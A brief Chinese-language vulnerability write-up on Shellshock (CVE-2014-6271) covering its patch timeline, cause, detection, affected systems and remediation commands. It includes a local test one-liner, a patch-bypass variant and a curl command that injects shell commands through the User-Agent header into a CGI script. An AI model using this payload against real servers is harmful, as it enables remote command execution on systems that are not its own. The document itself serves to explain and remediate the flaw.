bash漏洞(shellshock)
1、漏洞简介
CVE-2014-6271漏洞又称破壳漏洞,是Stéphane Chazelas(法国)于2014年9月中旬发现的SHELL的一个漏洞,向环境变量值内的函数定义后添加多余的字符串会触发此漏洞,攻击者可利用此漏洞改变或绕过环境限制,以执行shell命令。该漏洞影响极其严重,修复过程也十分坎坷。时间线大致如下:
9月24日:CVE-2014-6271被公开,补丁也快速形成,但因补丁修复不完整导致CVE-2014-7169;
9月27日:因前两个漏洞补丁修复不完整导致CVE-2014-6277;
9月30日:因在前三个漏洞补丁修复不完整导致CVE-2014-6278;
9月28日:Bash的两个溢出漏洞又被公开CVE-2014-7186、CVE-2014-7187。
2、漏洞成因
存在漏洞的bash会将形如
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
的字符解析为一个函数定义和一个command。导致任意命令执行。
3、漏洞检测及利用
bash破壳漏洞本地检测 官方验证版
env x='() { :;}; echo vulnerable; bash -c "echo this is a test"
若系统bash存在漏洞则会打印出
vulnerable this is a test
官方patch绕过版
env -i X='() { (a)=>\' bash -c 'echo date'; cat echo
http cgi远程命令执行
curl -A "() { :; }; /bin/ls /; uname -a" http://www.aaa.com/bbb.cgi -v
4、影响范围
“破壳”是一个严重漏洞的别名,在Red Hat、CentOS、Ubuntu 、Fedora 、Amazon Linux 、OS X 10.10中均拥有存在CVE-2014-6271(即“破壳”漏洞)漏洞的Bash版本,同时由于Bash在各主流操作系统的广泛应用,此漏洞的影响范围包括但不限于大多数应用Bash的Unix、Linux、Mac OS X,而针对这些操作系统管理下的数据均存在高危威胁。
此漏洞可能会影响到使用ForceCommand功能的OpenSSH sshd、使用modcgi或modcgid的Apache服务器、DHCP客户端、SMTP服务器等其他使用bash作为解释器的应用。
5、实际案例
6、漏洞修复
安装最新的补丁
在各种GNU/Linux发行版里需要升级:
Debian-based(包括Ubuntu):
sudo apt-get update && apt-get upgrade
Gentoo:
sudo emerge --sync && glsa-check -f affected
OpenSSH:
加入no-pty